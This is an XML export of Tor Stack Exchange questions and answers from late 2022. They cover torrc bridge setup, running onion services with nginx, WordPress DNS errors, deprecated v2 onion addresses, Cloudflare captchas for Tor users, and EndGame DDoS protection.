  <row Id="23432" PostTypeId="2" ParentId="23396" CreationDate="2022-11-26T14:18:47.220" Score="0" Body="&lt;p&gt;Can you reach your server locally? &lt;br&gt;&#xA;You said that there is no hostname file created. Is there any key created? If isn't you probably screwed up try execute: &amp;quot;sudo tor&amp;quot; it will give you an error messages unlike if you run it as a service.&#xA;&lt;br&gt;Can you try use tor as a proxy? (this can determine if your connection is censored)&lt;/p&gt;&#xA;" OwnerUserId="37625" LastEditorUserId="37625" LastEditDate="2022-11-26T15:07:51.587" LastActivityDate="2022-11-26T15:07:51.587" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23439" PostTypeId="2" ParentId="23355" CreationDate="2022-11-29T20:38:04.910" Score="0" Body="&lt;p&gt;To use bridges with the tor daemon, simply write on your torrc:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;UseBridges 1&#xA;ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and then the different lines of bridges, the whole line. One bridge per line.:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Bridge obfs4 ip fingerprint etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Once you have updated your torrc file, restart the tor daemon and you should be able to use torify/torsocks with the bridge. Answer lovingly stolen from &lt;a href=&quot;https://forum.torproject.net/t/tor-blocked-in-russia-how-to-circumvent-censorship/982/5&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2022-11-29T20:38:04.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23440" PostTypeId="2" ParentId="21640" CreationDate="2022-11-30T20:00:31.230" Score="0" Body="&lt;p&gt;True. It is possible to perfectly identify a Tor user via video playing . If the hacker has access to both router activity and google platform for youtube it is possble to perfectly identify which videos the user is playing. The same applies to videos displayed while for instance browsing a twitter account.&lt;/p&gt;&#xA;&lt;p&gt;Therefore in case of any suspicion that somebody might be accessing your router and you want privacy, it is reasonable to disable media.play-stand-alone&lt;/p&gt;&#xA;" OwnerUserId="37650" LastActivityDate="2022-11-30T20:00:31.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23441" PostTypeId="2" ParentId="22950" CreationDate="2022-12-01T10:07:46.307" Score="1" Body="&lt;p&gt;The problem has already been described in &lt;a href=&quot;https://gitlab.torproject.org/tpo/core/arti/-/blob/main/doc/TROUBLESHOOTING.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;doc/TROUBLESHOOTING.md&lt;/a&gt;. Under Windows, it is much more convenient to link sqlite library statically instead of copying manually over:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cargo build -p arti --release --features static&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="37662" LastActivityDate="2022-12-01T10:07:46.307" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23442" PostTypeId="1" CreationDate="2022-12-01T11:42:12.750" Score="0" ViewCount="107" Body="&lt;p&gt;I want to make two onion links to one site on my web server&lt;/p&gt;&#xA;&lt;p&gt;I created a new address with mkp224o. Got the hostname file and 2 keys.&#xA;I put it in var/lib/tor&lt;/p&gt;&#xA;&lt;p&gt;Edited the torrc&#xA;Now it's like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/.&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;HiddenServiceDir /var/lib/tor/torservice/&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But it doesn't work.&#xA;And after editing torrc the link which is in /var/lib/tor/hidden_service/ stops working.&lt;/p&gt;&#xA;&lt;p&gt;If you return it as it was, then 1 site works:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;#HiddenServiceDir /var/lib/tor/torservice/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you do this, nothing works again. It says that the onion link is not found:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#HiddenServiceDir /var/lib/tor/hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;HiddenServiceDir /var/lib/tor/torservice/&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;By the way, the nginx configuration looks like this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;listen 127.0.0.1:80;&#xA;root /var/www;&#xA;client_max_body_size 100M;&#xA;charset utf-8;&#xA;index index.html;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What am I doing wrong? Is it possible to run 2 links on one site?&lt;/p&gt;&#xA;" OwnerUserId="37663" LastEditorUserId="37663" LastEditDate="2022-12-01T11:45:34.440" LastActivityDate="2022-12-01T12:45:18.467" Title="Two onion links to one site" Tags="|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23443" PostTypeId="2" ParentId="23442" CreationDate="2022-12-01T12:45:18.467" Score="0" Body="&lt;p&gt;It's OK to run whatever quantity of links you like. Let's walk through a check list:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Folder permissions&lt;/strong&gt; - check all the folders specified for a proper permissions and files inside them. If there are empty folders after start - put Tor in a debug mode via command line and re-launch it and read carefully, the error or a problem will be described there&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Tor's part of the job&lt;/strong&gt; - it's &lt;em&gt;just&lt;/em&gt; a tunnel, like STunnel, and &lt;strong&gt;nothing&lt;/strong&gt; more. So it bumps your TCP connection to the ports you're specifying. You can use 127.0.0.x/8 subnet with a &lt;em&gt;distinct&lt;/em&gt; IP addresses for every named site - for HTTPS and HTTP/2.0 setup simplicity&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;NGinX's part of the job&lt;/strong&gt; - I do recommend using HTTPS+HTTP/2.0 for a speed boost-up, especially noticeable on Tor or other darknet encapsulation: it will save the resources by utilizing a single TCP connection and also it can be used for a fine grained security like a client certificate verification e.t.c... For port 80 just set up one global redirector that will bounce the quey up exactly as it is, but to the https proto, it will save your day&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-12-01T12:45:18.467" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23444" PostTypeId="2" ParentId="19686" CreationDate="2022-12-01T12:55:29.847" Score="0" Body="&lt;p&gt;Actually, your Tor instance has been bootstrapped up successfully and it's awaiting your requests and the network messages from outside. In time, like in 24 hours, another stats will be printed into the standard output. Only if there are some errors occurred - they will be printed before stats. It's totally OK&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-12-01T12:55:29.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23445" PostTypeId="2" ParentId="19686" CreationDate="2022-12-01T14:37:46.927" Score="0" Body="&lt;p&gt;Example torrc:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    User tor&#xA;    PIDFile /var/run/tor/tor.pid&#xA;    ExcludeExitNodes {RU},{UA},{AM},{KG},{BY}&#xA;    StrictNodes 1&#xA;    #TransPort 0.0.0.0:9141&#xA;    MaxCircuitDirtiness 600&#xA;    ExitRelay 0&#xA;    ExitPolicy reject *:*&#xA;    ExitPolicy reject6 *:*&#xA;    #GeoIPFile /opt/share/tor/geoip&#xA;    #GeoIPv6File /opt/share/tor/geoip6&#xA;    DataDirectory /var/lib/tor/data&#xA;    VirtualAddrNetwork 10.254.0.0/16&#xA;    DNSPort 127.0.0.1:9053&#xA;    AutomapHostsOnResolve 1&#xA;    UseBridges 1&#xA;    ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy managed&#xA;    &#xA;    Bridge obfs4 185.177.207.136:8443 929EE56F32F46A9B7DC9EDBE5B20B07A6DDE684A cert=YCE03UX5zWFYWhQag7yN8ObKJgTM+p+RAFugyOR/gziEpZ5tIJ7SeAhpOu0B92+JjGcqEw iat-mode=0&#xA;    Bridge obfs4 15.235.46.239:8542 7213CFFDEBBD6101D72FD161FB8F11EFF0010B75 cert=S91AmAe86ZX0lAhcw+YQY0nZafg46FnDcZ1MCHbHq+Gan+Cp7VQtkcjwY80hpvarpevdPA iat-mode=0&#xA;    Bridge obfs4 45.32.230.154:443 1B95B8500E8D8FE87DDE66E25038ECA48D38EF72 cert=jVIYtwqwaFvDiR/jvQxTVLSwURMGdDIJgYh+GTLYWxeGdNHPn2oNCDiBcLlzsKZvQMrmOQ iat-mode=0&#xA;    Bridge obfs4 70.34.244.140:443 B80CB82C1F927579B1734F877A37DB2F4C928C39 cert=KHReofcW7JvO3PUVT8YhIa1ptIedcxpRG/tv6APa7Ph9yfooyNWOYaLiggDggnJQvxEmIw iat-mode=0&#xA;    &#xA;    #RESERVE&#xA;    #Bridge obfs4 88.152.174.56:12457 63EC75D21DC4301F7BB805B0794F9DAD2892AC09 cert=b9WUo0macm4tNq6HVpJnBTjX/KNOnf0Vw70FKbnFFl+6njXInpuHCqjvMMYEMovRul7DbQ iat-mode=0&#xA;    #Bridge obfs4 95.217.122.172:990 064C81E12B6BF387804E8F6D85C8FA3E5E193311 cert=JNqV9XG7KfWeZllUuZqw1MbiEjBB7w6N+UGlOFaRX18j6cQ7jBmBnYAhQ06Cpu81dbWULg iat-mode=0&#xA;    #Bridge obfs4 213.232.255.61:443 2387004AE19179F6685EA4BE13876B813F823507 cert=vCjBrF2ZtwNbTFaGO/yfsibtOOvI+CWdWM71kP7MRvG6jqS492mRiUAei3jdcaPNdw9GZQ iat-mode=0```&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="37664" LastActivityDate="2022-12-01T14:37:46.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23446" PostTypeId="1" CreationDate="2022-12-01T17:39:02.767" Score="0" ViewCount="197" Body="&lt;p&gt;I am running a website through tor, but there are two errors in the site health item as above.&#xA;Is there a solution?&lt;/p&gt;&#xA;" OwnerUserId="37665" LastActivityDate="2022-12-02T11:15:44.993" Title="wordpress curl 6 Could not resolve host http_request_failed error" Tags="|help|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23448" PostTypeId="2" ParentId="23446" CreationDate="2022-12-02T11:15:44.993" Score="0" Body="&lt;p&gt;First of all, you need to post some more detailed logs, but basically - it happens in WP and Drupal and other CMS systems - it's the DNS problem. You need to enable host binding in Tor config and transparent proxy as well, and - important moment - you need to make Tor's resolver available system-wide. I'm using local BIND setup with all the dot-onion zone resolving forwarded to Tor's DNSPort&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-12-02T11:15:44.993" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23449" PostTypeId="1" CreationDate="2022-12-03T03:11:09.167" Score="0" ViewCount="496" Body="&lt;p&gt;See title. Already tried this: &lt;a href=&quot;https://maymay.net/blog/2013/12/26/one-minute-mac-tip-open-multiple-tor-circuits-in-the-new-torbrowserbundle-3-5-for-mac-os-x/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://maymay.net/blog/2013/12/26/one-minute-mac-tip-open-multiple-tor-circuits-in-the-new-torbrowserbundle-3-5-for-mac-os-x/&lt;/a&gt;. Am I missing something obvious?&lt;/p&gt;&#xA;" OwnerUserId="37669" LastActivityDate="2023-03-03T04:20:31.060" Title="How to run all Mac traffic through Tor?" Tags="|mac|socks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23454" PostTypeId="1" CreationDate="2022-12-05T15:13:08.557" Score="0" ViewCount="365" Body="&lt;p&gt;I am not able to open any .onion link on my Tor browser, I tried everything but don't understand what I missed. I also tried to open &lt;a href=&quot;https://facebookcorewwwi.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://facebookcorewwwi.onion/&lt;/a&gt; but I can't.&lt;/p&gt;&#xA;&lt;p&gt;Please help me and guide me if there is any setting or any other functions where I can use onion links&lt;/p&gt;&#xA;" OwnerUserId="37683" LastActivityDate="2022-12-05T22:51:44.340" Title="Why I can't open any onion link on TOR?" Tags="|onion-services|windows|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23455" PostTypeId="1" CreationDate="2022-12-05T21:18:07.437" Score="0" ViewCount="40" Body="&lt;p&gt;To my understanding, Bitcoin can be sent quickly, anonymously, and fairly safely. But if you don’t need to spend physical notes (or in the case of debit cards, redeem your money for physical notes) why not vote on little, ethereal ballots you can send on a wire?&lt;/p&gt;&#xA;&lt;p&gt;You would still have a secret ballot if you use a phony IP address, right? So why doesn’t it work that way?&lt;/p&gt;&#xA;" OwnerUserId="37684" LastActivityDate="2022-12-07T07:31:11.250" Title="If you can send thousands of dollars on the Internet, why not ballots?" Tags="|bitcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23456" PostTypeId="2" ParentId="23454" CreationDate="2022-12-05T22:51:44.340" Score="0" Body="&lt;p&gt;This is a v2 onion service address, and v2 onion services aren't supported anymore. You must use a v3 onion service address instead. You can read more here: &lt;a href=&quot;https://support.torproject.org/onionservices/#onionservices_v2-deprecation&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/onionservices/#onionservices_v2-deprecation&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The correct onion service address for Facebook is now: &lt;a href=&quot;https://facebookwkhpilnemxj7asaniu7vnjjbiltxjqhye3mhbshg7kx5tfyd.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;facebookwkhpilnemxj7asaniu7vnjjbiltxjqhye3mhbshg7kx5tfyd.onion&lt;/a&gt; (see &lt;a href=&quot;https://www.facebook.com/onion-service&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.facebook.com/onion-service&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-12-05T22:51:44.340" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23457" PostTypeId="2" ParentId="23455" CreationDate="2022-12-07T07:31:11.250" Score="0" Body="&lt;p&gt;First, because (many) governments are slow to adapt new technologies.&lt;/p&gt;&#xA;&lt;p&gt;Second, you have some difficulties to solve. You have to ensure that everyone who is entitled to vote, can vote secretly and only once, and that it is not possible to relate the vote to the voter.&lt;/p&gt;&#xA;&lt;p&gt;The IP address is less a concern if cryptographically done right.&#xA;So the questions might be better suited in another sub, but I try to get you a rough idea.&lt;/p&gt;&#xA;&lt;p&gt;So you need a way to distribute a kind of token to all entitled persons, securely. How do you know who is entitled? With a central register. Then everyone would have to get a digital ID to which the token is send, kind of bitcoin wallet. How do you get the address of the id? Generate it centrally shall not be done, because then they would have the private keys of the id, which opens doors to manipulation. So the voters need to generate their keys themselves, and have the public key send to the register.&#xA;But you still have to solve people loosing their keys, due to broken phone or whatever, securely, so nobody can send a new key for another person to steal the vote token.&#xA;And last but not least, have a way to submit the ballot, like signed with the private key, but in a way you cannot relate what the person voted, but still that the person has voted and in a way that the ballot is secure so you cannot insert faked ballots.&lt;/p&gt;&#xA;&lt;p&gt;I'm not a cryptographic expert, I guess there are ways to solve that, but it's difficult and will be expensive if done right.&#xA;And because it's expensive, there is no motivation for government to do so, and there is much potential for critical errors so that system needs to be thoroughly tested to be approved.&lt;/p&gt;&#xA;&lt;p&gt;And such a system, if done right, would make it possible to publish ballots to enable public election monitoring - and that might not be in the interest of the government.&lt;/p&gt;&#xA;" OwnerUserId="31200" LastActivityDate="2022-12-07T07:31:11.250" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23460" PostTypeId="2" ParentId="15671" CreationDate="2022-12-10T03:37:29.393" Score="0" Body="&lt;p&gt;It's far better to access Tor via the Tor browser itself rather than a third-party program. Although I have no experience in using Tor2web, you should use Tor directly if you want the least risk and the best experience.&lt;/p&gt;&#xA;" OwnerUserId="37624" LastActivityDate="2022-12-10T03:37:29.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23463" PostTypeId="2" ParentId="327" CreationDate="2022-12-11T12:12:31.993" Score="0" Body="&lt;p&gt;One more way are possible:&lt;/p&gt;&#xA;&lt;p&gt;You can also run several VMs with your preferred operating system and one Tor browser on one host system.&lt;/p&gt;&#xA;" OwnerUserId="30335" LastActivityDate="2022-12-11T12:12:31.993" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23464" PostTypeId="1" CreationDate="2022-12-11T15:14:39.250" Score="1" ViewCount="527" Body="&lt;p&gt;The Tor browser is useful when you want to read regionally restricted websites, for example.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, the Tor Browser also changes the browser agent string, so that some websites that check it for plausibility refuse to display the website because of the fake user agent string.&lt;/p&gt;&#xA;&lt;p&gt;The fact that some websites can also deny the Tor Browser on the basis of the IP address used by the Tor Browser is known and explicitly not meant in this question.&lt;/p&gt;&#xA;&lt;p&gt;Example for fake user agent string of the Tor Browser:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The not faked one should be about p.e. the follow:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The Browser-Agent string can checked on webpages like:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://browserleaks.com/ip&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://browserleaks.com/ip&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;How can I disable the named current Tor browser from faking the user agent string?&lt;/p&gt;&#xA;" OwnerUserId="30335" LastEditorUserId="30335" LastEditDate="2022-12-11T15:56:43.050" LastActivityDate="2023-04-09T18:56:38.733" Title="How to stop Tor browsers from forging the user agent string?" Tags="|configuration|firefox|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23468" PostTypeId="1" CreationDate="2022-12-13T03:34:11.080" Score="1" ViewCount="201" Body="&lt;p&gt;The &amp;quot;torbulkexitlist&amp;quot; which was updated every day, has not changed the contents of the recent Tor IP list..&lt;/p&gt;&#xA;&lt;p&gt;I would like to ask if the service has been permanently suspended or temporarily suspended.&lt;/p&gt;&#xA;&lt;p&gt;URI : &lt;a href=&quot;https://check.torproject.org/torbulkexitlist?ip=1.1.1.1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org/torbulkexitlist?ip=1.1.1.1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="37728" LastEditorUserId="37728" LastEditDate="2022-12-13T06:21:53.740" LastActivityDate="2022-12-21T10:35:55.630" Title="Tor node IP list update service been stopped recently?" Tags="|node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23469" PostTypeId="1" CreationDate="2022-12-13T11:49:44.753" Score="0" ViewCount="138" Body="&lt;p&gt;I want to modify the configuration of the Torrc of the Tor browser. Before the Tor browser 12 version, the Torrc file is set to read only attributes and can be used normally, but the Torrc file is set in Tor Browser 12 version to read only attributes and cannot connect.&lt;/p&gt;&#xA;" OwnerUserId="37729" LastEditorUserId="23661" LastEditDate="2022-12-22T07:58:16.313" LastActivityDate="2023-02-12T20:46:08.193" Title="Torr file editor will automatically restore" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23471" PostTypeId="1" CreationDate="2022-12-13T14:36:21.477" Score="1" ViewCount="283" Body="&lt;p&gt;I recently realized that while using TOR (TOR bundle) that a site that wouldn't block out anyone because they use Tor, has Cloudflare service stating that they need to check the security of my browser which just sends me through endless loops of captchas and reloading over and over to verify I'm a human. Later on I was completely blocked out. Now I'm at the point where it says that I need to enable Javascript. This was happening while I had been using a VPN before connecting to TOR, an obfs4 bridge which probably isn't needed, setting security settings to safest, prioritize onion urls, HTTPS. I have never had a single issue with the site for some time now.&lt;/p&gt;&#xA;&lt;p&gt;Tried to use Tails OS and the problem is still happening which is very frustrating. When checking out browserleaks website and while on tails it said that the IP that was being used had been identified as a Tor exit relay (something like &amp;quot;two of the same IPs have been identified as using being tor exit relays&amp;quot;). It's on a list of relays further on the page and the IP has the word reject next to it.&lt;/p&gt;&#xA;&lt;p&gt;I've never volunteered to run an exit relay and am hoping to figure out a way to discontinue these captchas everywhere I go on TOR and allow access to sites.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for any advice as to how to get out of this annoying situation.&lt;/p&gt;&#xA;" OwnerUserId="37731" LastEditorUserId="14924" LastEditDate="2023-05-05T20:55:08.087" LastActivityDate="2023-05-06T00:01:00.660" Title="Being identified as running Tor exit relay. Constant capchas, security checks" Tags="|tor-browser-bundle|security|exit-relays|captcha|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23474" PostTypeId="1" CreationDate="2022-12-18T18:04:53.430" Score="1" ViewCount="44" Body="&lt;p&gt;Why do I keep getting a message that says I’m not using TOR even though I’m on the iPhone app?&#xA;When I go to browse the web it comes back as not using Tor?  What settings should I use?&lt;/p&gt;&#xA;" OwnerUserId="37755" LastActivityDate="2022-12-21T08:15:03.933" Title="Not using Tor message" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23475" PostTypeId="1" CreationDate="2022-12-18T23:32:04.000" Score="0" ViewCount="89" Body="&lt;p&gt;On two machines with different public ip I host two hidden services. Both hidden services are wordpress blogs. Both services can be accessed by their respective .onion addresses with a tor-browser. Funnily enough I can browse to one service with firefox using the public ip address of its machine. I get as far as the intro page, the subsequent pages do not work because firefox would not enumerate the onion addresses. But even so having the first page of the wordpress site visible by its ip from clearnet seems to me to pose a security risk regarding anonymity.&#xA;So what have I to do to stop the access from clearnet?&lt;/p&gt;&#xA;" OwnerUserId="32639" LastActivityDate="2022-12-19T23:50:26.847" Title="Access a hidden service with a clearnet IP" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23476" PostTypeId="2" ParentId="23475" CreationDate="2022-12-19T23:50:26.847" Score="0" Body="&lt;p&gt;It's happening because your webserver is listening at 0.0.0.0 (IPv4) or [::] (IPv6), change 0.0.0.0 to 127.0.0.1 and [::] to [::1] (these are loopback addresses and are not supposed to be accessed outside the host).&lt;/p&gt;&#xA;" OwnerUserId="34847" LastActivityDate="2022-12-19T23:50:26.847" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23477" PostTypeId="2" ParentId="1181" CreationDate="2022-12-20T04:21:09.220" Score="0" Body="&lt;p&gt;You can use &lt;a href=&quot;https://github.com/onionltd/EndGame&quot; rel=&quot;nofollow noreferrer&quot;&gt;EndGame&lt;/a&gt;, which was a system designed to protect Onion Services from DDoS attacks.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/onionltd/EndGame&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/onionltd/EndGame&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In May 2020, &lt;a href=&quot;https://github.com/onionltd&quot; rel=&quot;nofollow noreferrer&quot;&gt;Onion Ltd&lt;/a&gt; released &lt;a href=&quot;https://github.com/onionltd/EndGame/tree/770d6da100d6d52f6abc91e9e4c87c06373ee164&quot; rel=&quot;nofollow noreferrer&quot;&gt;EndGame&lt;/a&gt; on GitHub. It uses nginx frontend proxies (&amp;quot;fronts&amp;quot;) to put the users in queues and require them to solve a &lt;a href=&quot;https://en.wikipedia.org/wiki/CAPTCHA&quot; rel=&quot;nofollow noreferrer&quot;&gt;CAPTCHA&lt;/a&gt; (generated with python).&lt;/p&gt;&#xA;&lt;p&gt;After waiting some seconds, the user is presented with a CAPTCHA from one of the fronts. If the user solves the CAPTCHA correctly, then their session is forwarded to the actual Onion Service backend.&lt;/p&gt;&#xA;&lt;p&gt;If the CAPTCHA works, then the DDoS will be mitigated against the backend, and the Onion Service administrator only needs to scale-up their fronts. EndGame's README recommends at least 3 fronts.&lt;/p&gt;&#xA;&lt;p&gt;At the time of writing, EndGame is what's used in many popular Onion Services, such as the Elude Tech Collective and the Dread Forums.&lt;/p&gt;&#xA;&lt;p&gt;EndGame's README says that it helps mitigate DDoS attacks, but that it &amp;quot;isn't perfect&amp;quot; and suggests that the Tor developers add a POW at the introduction point to make Onion Services more DDoS resilient&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;EndGame isn't perfect. It can't protect against introduction cell type attacks (the Tor project will need to add POW at the introduction points to fix that). But it does provide good protection and scaling which makes it much harder to take you down overall for whatever people throw at you.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;source: &lt;a href=&quot;https://github.com/onionltd/EndGame/blob/master/README.MD&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/onionltd/EndGame/blob/master/README.MD&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Further Reading&lt;/h3&gt;&#xA;&lt;p&gt;For more information about protecting Onion Services from DDoS attacks, see the following articles published by the Tor Project:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Jun 2022 &lt;a href=&quot;https://status.torproject.org/issues/2022-06-09-network-ddos/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://status.torproject.org/issues/2022-06-09-network-ddos/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Aug 2020 &lt;a href=&quot;https://blog.torproject.org/stop-the-onion-denial/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/stop-the-onion-denial/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Jan 2014 &lt;a href=&quot;https://blog.torproject.org/new-tor-denial-service-attacks-and-defenses/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/new-tor-denial-service-attacks-and-defenses/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31208" LastEditorUserId="31208" LastEditDate="2022-12-20T04:47:30.373" LastActivityDate="2022-12-20T04:47:30.373" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23479" PostTypeId="2" ParentId="23356" CreationDate="2022-12-20T12:14:58.447" Score="0" Body="&lt;p&gt;After update everything fixed so it's working properly.&lt;/p&gt;&#xA;" OwnerUserId="37381" LastActivityDate="2022-12-20T12:14:58.447" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23481" PostTypeId="2" ParentId="23474" CreationDate="2022-12-21T08:15:03.933" Score="0" Body="&lt;p&gt;There is no Tor Browser for iPhone. &lt;a href=&quot;https://support.torproject.org/tormobile/tormobile-3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Tor Project suggests that you use the Onion Browser instead&lt;/a&gt;. After you install that app, go to &lt;a href=&quot;https://check.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org&lt;/a&gt; to confirm if you are on the Tor network.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2022-12-21T08:15:03.933" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23482" PostTypeId="2" ParentId="23471" CreationDate="2022-12-21T10:27:22.183" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Thanks for any advice as to how to get out of this.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If you want to use Tor, then there is no way around this. This is the limitation of using Tor. If a website does not want to allow Tor users, then it will block all Tor users and there's nothing you can do to get around that.&lt;/p&gt;&#xA;&lt;p&gt;If the website is important to you then just use your normal connection + a VPN.  If they also block VPNs, then only use your normal internet connection or use the internet from your phone which will use a different IP than your computer.&lt;/p&gt;&#xA;&lt;p&gt;More and more websites are doing this and while many of us think it is a stupid decision, they are trying to protect themselves from bots and other forms of attacks that come from Tor users. The best thing you can do is to contact the owners of the website and make your case as to why they should allow Tor users otherwise you just have to work around the limitations that they set for their own site.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2022-12-21T10:27:22.183" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
